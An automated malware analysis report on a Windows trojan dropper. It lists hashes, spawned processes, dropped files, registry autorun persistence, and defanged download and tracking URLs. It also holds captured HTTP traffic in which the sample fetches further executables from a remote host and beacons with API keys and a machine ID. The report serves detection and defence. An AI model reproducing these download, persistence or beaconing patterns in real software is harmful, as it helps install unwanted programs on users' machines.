Sample_76c4a08803

by malwarelabrobot on September 3rd, 2017 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), mzpefinder_pcap_file.YR (Lavasoft MAS)
Behaviour: Trojan


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 76c4a0880392cff92d568bc8cc6d8ad3
SHA1: 2f35dc0ac31af7db85b7794d69ad261ffbb4d6d6
SHA256: 133ba1bac2ef9fbc73a0e6b5ab1759ff5d143d8c08180199a557b5e90ff3eed6
SSDeep: 6144:i7Lj5IL44QHZeLM9lWCqw4YaIpnp8EMSyaor6RyZa3/TLX:Qn5IL4nd9T26einLX
Size: 311808 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6
Company: no certificate found
Created at: 2017-08-24 23:11:17
Analyzed on: Windows7 SP1 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

SecondL.exe:3804
Sho9libi.exe:3548
OneTwo.exe:2324
%original file name%.exe:1796

The Trojan injects its code into the following process(es):

AZK1ZWID9.exe:1748
odg1gcdteyb.exe:4056
%original file name%.exe:3512

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process SecondL.exe:3804 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.new (856 bytes)
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.new (856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\s24moif2wi3\odg1gcdteyb.exe.config (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\s24moif2wi3\odg1gcdteyb.exe (204 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.new (856 bytes)

The Trojan deletes the following file(s):

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.3804.363092 (0 bytes)
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.3804.363092 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.3804.363092 (0 bytes)

The process Sho9libi.exe:3548 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.new (860 bytes)
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.new (860 bytes)

The process AZK1ZWID9.exe:1748 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Program Files%\AZK1ZWID9P\cast.config (36 bytes)

The process OneTwo.exe:2324 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Program Files%\AZK1ZWID9P\uninstaller.exe (34376 bytes)
%Program Files%\AZK1ZWID9P\AZK1ZWID9.exe (71670 bytes)
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.new (852 bytes)
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.new (852 bytes)
%Program Files%\AZK1ZWID9P\uninstaller.exe.config (1 bytes)
%Program Files%\AZK1ZWID9P\AZK1ZWID9.exe.config (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.new (852 bytes)

The Trojan deletes the following file(s):

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.2324.363388 (0 bytes)
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.2324.363388 (0 bytes)

The process %original file name%.exe:3512 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RZTDZ9JOBP\SecondL.exe (657 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RZTDZ9JOBP\OneTwo.exe.config (1 bytes)
C:\config.conf (47 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RZTDZ9JOBP\SecondL.exe.config (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RZTDZ9JOBP\OneTwo.exe (26809 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RZTDZ9JOBP\Sho9libi.exe.config (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RZTDZ9JOBP\Sho9libi.exe (234125 bytes)

Registry activity

The process SecondL.exe:3804 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\SecondL_RASAPI32]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\SecondL_RASAPI32]
"MaxFileSize" = "1048576"
"ConsoleTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\SecondL_RASMANCS]
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\SecondL_RASAPI32]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\SecondL_RASMANCS]
"MaxFileSize" = "1048576"
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\SecondL_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\SecondL_RASAPI32]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\SecondL_RASMANCS]
"EnableFileTracing" = "0"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process Sho9libi.exe:3548 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\Sho9libi_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\Sho9libi_RASMANCS]
"MaxFileSize" = "1048576"
"EnableFileTracing" = "0"
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\Sho9libi_RASAPI32]
"EnableConsoleTracing" = "0"
"MaxFileSize" = "1048576"
"ConsoleTracingMask" = "4294901760"
"EnableFileTracing" = "0"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\Sho9libi_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"

The process AZK1ZWID9.exe:1748 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\AZK1ZWID9_RASAPI32]
"FileDirectory" = "%windir%\tracing"
"EnableFileTracing" = "0"
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\AZK1ZWID9_RASMANCS]
"EnableFileTracing" = "0"
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\AZK1ZWID9_RASAPI32]
"MaxFileSize" = "1048576"
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\AZK1ZWID9_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\AZK1ZWID9_RASAPI32]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\AZK1ZWID9_RASMANCS]
"MaxFileSize" = "1048576"
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Y137I1YRL72CGI7" = "%Program Files%\AZK1ZWID9P\AZK1ZWID9.exe"

The process OneTwo.exe:2324 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\OneTwo_RASAPI32]
"EnableConsoleTracing" = "0"
"ConsoleTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\OneTwo_RASAPI32]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\OneTwo_RASMANCS]
"EnableConsoleTracing" = "0"
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\OneTwo_RASAPI32]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\OneTwo_RASMANCS]
"FileTracingMask" = "4294901760"
"ConsoleTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\OneTwo_RASAPI32]
"EnableFileTracing" = "0"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process odg1gcdteyb.exe:4056 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"ld3z5t1rmyr" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\s24moif2wi3\odg1gcdteyb.exe"

The process %original file name%.exe:3512 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\76c4a0880392cff92d568bc8cc6d8ad3_RASMANCS]
"MaxFileSize" = "1048576"
"ConsoleTracingMask" = "4294901760"
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\76c4a0880392cff92d568bc8cc6d8ad3_RASAPI32]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\76c4a0880392cff92d568bc8cc6d8ad3_RASMANCS]
"FileTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\76c4a0880392cff92d568bc8cc6d8ad3_RASAPI32]
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"
"ConsoleTracingMask" = "4294901760"
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\76c4a0880392cff92d568bc8cc6d8ad3_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\76c4a0880392cff92d568bc8cc6d8ad3_RASAPI32]
"EnableFileTracing" = "0"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"OMEWPRODUCT_Z22B4" = "C:\%original file name%.exe"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process %original file name%.exe:1796 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

Dropped PE files

MD5 File path
97c21ec62dcbd9ad751bc85aa8244fc4 c:\Program Files\AZK1ZWID9P\AZK1ZWID9.exe
ab11d98b1bb44e592817a2afbffbad9d c:\Program Files\AZK1ZWID9P\uninstaller.exe
6be4d8dede8ec98475415352d97bfa2d c:\Users\"%CurrentUserName%"\AppData\Local\Temp\RZTDZ9JOBP\OneTwo.exe
dddc3519c7c3fdbc82afe027f0bf1640 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\RZTDZ9JOBP\SecondL.exe
d74905ed1842b054074dfbf3a459df75 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\RZTDZ9JOBP\Sho9libi.exe
29abac5320dbb85642353d971072e0b0 c:\Users\"%CurrentUserName%"\AppData\Roaming\s24moif2wi3\odg1gcdteyb.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name: BYN8W5E49
Product Name: BYN8W5
Product Version: 5.6.7.5
Legal Copyright: Copyright (c) 9022
Legal Trademarks:
Original Filename: JijiLaPute.exe
Internal Name: JijiLaPute.exe
File Version: 5.6.7.5
File Description:
Comments: BYN8W5E
Language: German (Germany)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 8192 47120 47616 4.28812 8590f3236cf63c40b1c6fbe289ad4915
.rsrc 57344 262972 263168 4.72551 1b83c644ca5fd709cdfa2a496b58d0a1
.reloc 327680 12 512 0.053811 a0d7bf64a8b88064c30ea083ce6fcb5b

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://www.wizzmonetize.com/remotes_xml_sections.php 176.31.107.87
hxxp://bratitlamio.com/from_backup/747474/AdsShow_installer.exe 46.105.121.115
hxxp://bratitlamio.com/3/000000/wizzcaster_installer_v2.exe 46.105.121.115
hxxp://bratitlamio.com/exe/updater.exe 46.105.121.115
hxxp://bratitlamio.com/download/3/wizzcaster_v2.exe 46.105.121.115
hxxp://www.wizzmonetize.com/wemonetize/wizzmonetize/sales_we_DefaultProduct_DefaultPartner_1_load 176.31.107.87
hxxp://www.wizzmonetize.com/wemonetize/wizzmonetize/sales_we_DefaultProduct_DefaultPartner_1_notok 176.31.107.87
hxxp://bratitlamio.com/download/3/wizzcaster_uninstaller_v2.exe 46.105.121.115
hxxp://www.wizzmonetize.com/api/v5/config 176.31.107.87
hxxp://www.wizzmonetize.com/api/v5/link 176.31.107.87
hxxp://bratitlamio.com/safe_download/582369/AdsShow.exe 46.105.121.115
hxxp://agent.wizztrakys.com/wemonetize/wizzmonetize/sales_we_DefaultProduct_DefaultPartner_1_notok 188.165.210.24
hxxp://agent.wizztrakys.com/wemonetize/wizzmonetize/sales_we_DefaultProduct_DefaultPartner_1_load 188.165.210.24
hxxp://ladomainadeserver.com/api/v5/config 188.165.210.24
hxxp://ladomainadeserver.com/api/v5/link 188.165.210.24
dns.msftncsi.com 131.107.255.255


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY PE EXE or DLL Windows file download HTTP

Traffic

GET /from_backup/747474/AdsShow_installer.exe HTTP/1.1
Host: bratitlamio.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Sat, 02 Sep 2017 02:57:28 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
content-disposition: attachment; filename="AdsShow_installer.exe"
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/x-msdownload
2a00..MZ......................@.......................................
........!..L.!This program cannot be run in DOS mode....$.......PE..L.
.....Y.........."...0.............B=... ...@....@.. ..................
..................@..................................<..O....@..T..
..................`.......;...........................................
.... ............... ..H............text...H.... .....................
. ..`.rsrc...T....@....... ..............@..@.reloc.......`.......(...
...........@..B................$=......H........#..8............;.....
..........................................0..%.............(....(....r
...pr...po....(......(....&.(....r...pr...po....r...p(....(........ T.
.... ..........,........ #.....3..... ......,......X......X.... X.....
....-.....X.... ..........-.... ...... ..........,.........X.... .....
.....-..(.....(...........%.r...p.%.ra..p.%.r...p.%.r...p.%.rG..p.%.r[
..p.%.rB..p.%.rR..p.%.r...p.%..r...p.%..rQ..p.%..r...p.%..r...p.%..r:.
.p.%..r...p.%..r...p.%..r...p.%..r9..p.%..rQ..p.%..r...p.%..r...p.%..r
...p.%..r...p.%..r...p.%..r...p.%..r...p.(.......r...p(......(........
......,.....(....& ..r...p(....&.........*...A........................
....0..f........r...p.r!..p... ".. ..........,...r7..p(.........X.. ..
........-.s.......rG..p(....s.....o.....r...p.*".( ....*&.( .....*....
0..9........~.........,".r...p.....(!...o"...s#...........~..... ..*..
..0...........~..... ..*".......*.0...........~..... ..*".($....*Vs...
.(%...t.........*..BSJB............v2.0.50727......l...$...#~.....
<<< skipped >>>

GET /3/000000/wizzcaster_installer_v2.exe HTTP/1.1


Host: bratitlamio.com


HTTP/1.1 200 OK
Date: Sat, 02 Sep 2017 02:57:28 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
content-disposition: attachment; filename="wizzcaster_installer_v2.exe"
Transfer-Encoding: chunked
Content-Type: application/x-msdownload
3ce00..MZ......................@......................................
.........!..L.!This program cannot be run in DOS mode....$.......PE..L
......Y.........."...0..v...V........... ........@.. .................
...... ............@.................................<...O........R
......................................................................
..... ............... ..H............text....u... ...v................
.. ..`.rsrc....R.......T...x..............@..@.reloc..................
............@..B................p.......H........!.............../..Xd
...........................................0..........(....(.....~....
(.....~....(.....(......o........io.....(.....o....(....(........o....
r...po.......o....t#..........%...o....&..&..*.................0..3...
....(....~....o......s....%o .....o!...o".......&.....*.........,,....
...0..........s#......&.....*.................~r...p.....rY..p.....rs.
.p.....*..($...*.~....-.r...p.....(%...o&...s'........~....*.~....*...
....*.~....*..((...*Vs....()...t.........*BSJB............v2.0.50727..
....l...\...#~..........#Strings............#US.l.......#GUID...|...&l
t;...#Blob...........W..........3........(...................)........
...........................................4...........h..............
.....................T.....m.................&...........@.P.....P....
.......P...A...........4.H...K...........8.................|..........
.S.P...W.....j.......[.....P.................................f.P......
...................H.V.=...........#.=.........7.#.q..............
<<< skipped >>>

GET /exe/updater.exe HTTP/1.1


Host: bratitlamio.com


HTTP/1.1 200 OK
Date: Sat, 02 Sep 2017 02:57:28 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
content-disposition: attachment; filename="updater.exe"
Transfer-Encoding: chunked
Content-Type: application/x-msdownload
245a00..MZ......................@.....................................
..........!..L.!This program cannot be run in DOS mode....$.......PE..
L......Y.........."...0...!..V......6 !.. ...@!...@.. ................
........$...........@...................................!.O....@!..R..
..................$.......!...........................................
... ............... ..H............text...<.!.. ....!..............
... ..`.rsrc....R...@!..T....!.............@..@.reloc........$......X$
.............@..B................. !.....H........!.............../...
. ..........................................0..........(....(.....~...
.(.....~....(.....(......o........io.....(.....o....(....(........o...
.r...po.......o....t#..........%...o....&..&..*.................0..3..
.....(....~....o......s....%o .....o!...o".......&.....*.........,,...
....0..........s#......&.....*.................~r...p.....rY..p.....rs
..p.....*..($...*.~....-.r...p.....(%...o&...s'........~....*.~....*..
.....*.~....*..((...*Vs....()...t.........*BSJB............v2.0.50727.
.....l...\...#~..........#Strings............#US.l.......#GUID...|...&
lt;...#Blob...........W..........3........(...................).......
............................................4...........h.............
......................T.....m.................&...........@.P.....P...
........P...A...........4.H...K...........8.................|.........
..S.P...W.....j.......[.....P.................................f.P.....
....................H.V.=...........#.=.........7.#.q.............
<<< skipped >>>


POST /wemonetize/wizzmonetize/sales_we_DefaultProduct_DefaultPartner_1_load HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: agent.wizztrakys.com
Content-Length: 44
Expect: 100-continue
Connection: Keep-Alive


HTTP/1.1 100 Continue
....




api_key=fa02609b-2368-11e6-922f-0cc47a47968c

HTTP/1.1 200 OK


Date: Sat, 02 Sep 2017 02:57:31 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=8hm9vd4fqh71asfoj8mcgcbq22; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 29
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
{"message":"Track was added"}....


POST /wemonetize/wizzmonetize/sales_we_DefaultProduct_DefaultPartner_1_notok HTTP/1.1


Content-Type: application/x-www-form-urlencoded
Host: agent.wizztrakys.com
Content-Length: 44
Expect: 100-continue


HTTP/1.1 100 Continue
....




api_key=fa02609b-2368-11e6-922f-0cc47a47968c

HTTP/1.1 200 OK


Date: Sat, 02 Sep 2017 02:57:31 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=2vm6ms4snuitsqi9od8d856t77; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 29
Content-Type: text/html; charset=UTF-8
{"message":"Track was added"}..



POST /api/v5/config HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: ladomainadeserver.com
Content-Length: 38
Expect: 100-continue
Connection: Keep-Alive


HTTP/1.1 100 Continue
....




uid=57a764d042bf8&days_after_install=0

HTTP/1.1 200 OK


Date: Sat, 02 Sep 2017 02:57:33 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
Set-Cookie: laravel_session=b1ef04062e2f8d53a0e205ab7626fa41fc47edd6; expires=Sat, 02-Sep-2017 04:57:33 GMT; Max-Age=7200; path=/; httponly
Content-Length: 28
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
{"time_between_prints":"15"}HTTP/1.1 200 OK..Date: Sat, 02 Sep 2017 02
:57:33 GMT..Server: Apache/2.4.10 (Debian)..Cache-Control: no-cache..S
et-Cookie: laravel_session=b1ef04062e2f8d53a0e205ab7626fa41fc47edd6; e
xpires=Sat, 02-Sep-2017 04:57:33 GMT; Max-Age=7200; path=/; httponly..
Content-Length: 28..Keep-Alive: timeout=10, max=100..Connection: Keep-
Alive..Content-Type: text/html; charset=UTF-8..{"time_between_prints":
"15"}....


POST /api/v5/link HTTP/1.1


Content-Type: application/x-www-form-urlencoded
Host: ladomainadeserver.com
Content-Length: 17
Expect: 100-continue


HTTP/1.1 100 Continue
....




uid=57a764d042bf8

HTTP/1.1 200 OK


Date: Sat, 02 Sep 2017 02:57:33 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
Set-Cookie: laravel_session=627b454ac3e9a374dbb3f522dcdad4bfdb806320; expires=Sat, 02-Sep-2017 04:57:33 GMT; Max-Age=7200; path=/; httponly
Content-Length: 66
Content-Type: text/html; charset=UTF-8
{"link":"http:\/\/ladomainadeserver.com\/redirect\/57a764d042bf8"}HTTP
/1.1 200 OK..Date: Sat, 02 Sep 2017 02:57:33 GMT..Server: Apache/2.4.1
0 (Debian)..Cache-Control: no-cache..Set-Cookie: laravel_session=627b4
54ac3e9a374dbb3f522dcdad4bfdb806320; expires=Sat, 02-Sep-2017 04:57:33
 GMT; Max-Age=7200; path=/; httponly..Content-Length: 66..Content-Type
: text/html; charset=UTF-8..{"link":"http:\/\/ladomainadeserver.com\/r
edirect\/57a764d042bf8"}..



GET /download/3/wizzcaster_v2.exe HTTP/1.1
Host: bratitlamio.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Sat, 02 Sep 2017 02:57:31 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
content-disposition: attachment; filename="wizzcaster_v2.exe"
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/x-msdownload
131e00..MZ......................@.....................................
..........!..L.!This program cannot be run in DOS mode....$.......PE..
L......Y.........."...0......T......V.... ........@.. ................
....................@.....................................O........Q..
.................`....................................................
... ............... ..H............text...\.... ......................
 ..`.rsrc....Q.......R..................@..@.reloc.......`............
..........@..B................8.......H........!.............../.. ...
.........................................0..........(....(.....~....(.
....~....(.....(......o........io.....(.....o....(....(........o....r.
..po.......o....t#..........%...o....&..&..*.................0..3.....
..(....~....o......s....%o .....o!...o".......&.....*.........,,......
.0..........s#......&.....*.................~r...p.....rY..p.....rs..p
.....*..($...*.~....-.r...p.....(%...o&...s'........~....*.~....*.....
..*.~....*..((...*Vs....()...t.........*BSJB............v2.0.50727....
..l...\...#~..........#Strings............#US.l.......#GUID...|...<
...#Blob...........W..........3........(...................)..........
.........................................4...........h................
...................T.....m.................&...........@.P.....P......
.....P...A...........4.H...K...........8.................|...........S
.P...W.....j.......[.....P.................................f.P........
.................H.V.=...........#.=.........7.#.q................
<<< skipped >>>

GET /download/3/wizzcaster_uninstaller_v2.exe HTTP/1.1


Host: bratitlamio.com


HTTP/1.1 200 OK
Date: Sat, 02 Sep 2017 02:57:32 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
content-disposition: attachment; filename="wizzcaster_uninstaller_v2.exe"
Transfer-Encoding: chunked
Content-Type: application/x-msdownload
81a00..MZ......................@......................................
.........!..L.!This program cannot be run in DOS mode....$.......PE..L
......Y.........."...0......V......6.... ........@.. .................
...................@.....................................O........R...
................`.....................................................
.. ............... ..H............text...<.... ....................
.. ..`.rsrc....R.......T..................@..@.reloc.......`..........
............@..B........................H........!.............../....
...........................................0..........(....(.....~....
(.....~....(.....(......o........io.....(.....o....(....(........o....
r...po.......o....t#..........%...o....&..&..*.................0..3...
....(....~....o......s....%o .....o!...o".......&.....*.........,,....
...0..........s#......&.....*.................~r...p.....rY..p.....rs.
.p.....*..($...*.~....-.r...p.....(%...o&...s'........~....*.~....*...
....*.~....*..((...*Vs....()...t.........*BSJB............v2.0.50727..
....l...\...#~..........#Strings............#US.l.......#GUID...|...&l
t;...#Blob...........W..........3........(...................)........
...........................................4...........h..............
.....................T.....m.................&...........@.P.....P....
.......P...A...........4.H...K...........8.................|..........
.S.P...W.....j.......[.....P.................................f.P......
...................H.V.=...........#.=.........7.#.q..............
<<< skipped >>>


GET /safe_download/582369/AdsShow.exe HTTP/1.1
Host: bratitlamio.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Sat, 02 Sep 2017 02:57:34 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
content-disposition: attachment; filename="AdsShow.exe"
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/x-msdownload
2000..MZ......................@.......................................
........!..L.!This program cannot be run in DOS mode....$.......PE..L.
.....Y.........."...0.............V2... ...@....@.. ..................
..................@..................................2..O....@..L.....
...............`.......0..............................................
. ............... ..H............text...\.... ...................... .
.`.rsrc...L....@......................@..@.reloc.......`..............
........@..B................82......H.......("...............0........
.......................................0............s............,N.~.
...r...p.o......(....r]..pra..po....rc..p(....o....rc..p(....o......o.
..... Z.rg..p(.............,...........,.. `......o....Z(......rq..p(.
...&. `.......o....Z(......... .&....*...................0..4........r
...p..rg..p( .....,...r...p(!...("........ ... ..*".(#....*&.(#.....*.
.0..9........~.........,".r...p.....($...o%...s&...........~..... ..*.
...0...........~..... ..*".......*.0...........~..... ..*".('....*Vs..
..((...t.........*..BSJB............v2.0.50727......l...$...#~......|.
..#Strings........H...#US.T.......#GUID...d.......#Blob...........W...
.......3........$...................(.................................
..............K.\.....\.....*.................................k.......
............=...=.=...........a.....a...h.a...<.......a...K.....b.*
...".\.....|...........C.....C.........f.....>.".....a...].....5...
....*.....a...f.a.........................Y.&.=...........&.=.....
<<< skipped >>>


POST /remotes_xml_sections.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: VVV.wizzmonetize.com
Content-Length: 169
Expect: 100-continue
Connection: Keep-Alive


HTTP/1.1 100 Continue
....




remote_id=1&user_name=wemonetize&api_key=e721cfcc-2148-11e6-922f-0cc47
a47968c&buying_product_name=DefaultProduct&buying_partner_name=Default
Partner&buying_channel_name=1

HTTP/1.1 200 OK


Date: Sat, 02 Sep 2017 02:57:01 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=5a63l1huof4iqc606g7uf28uu5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1608
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
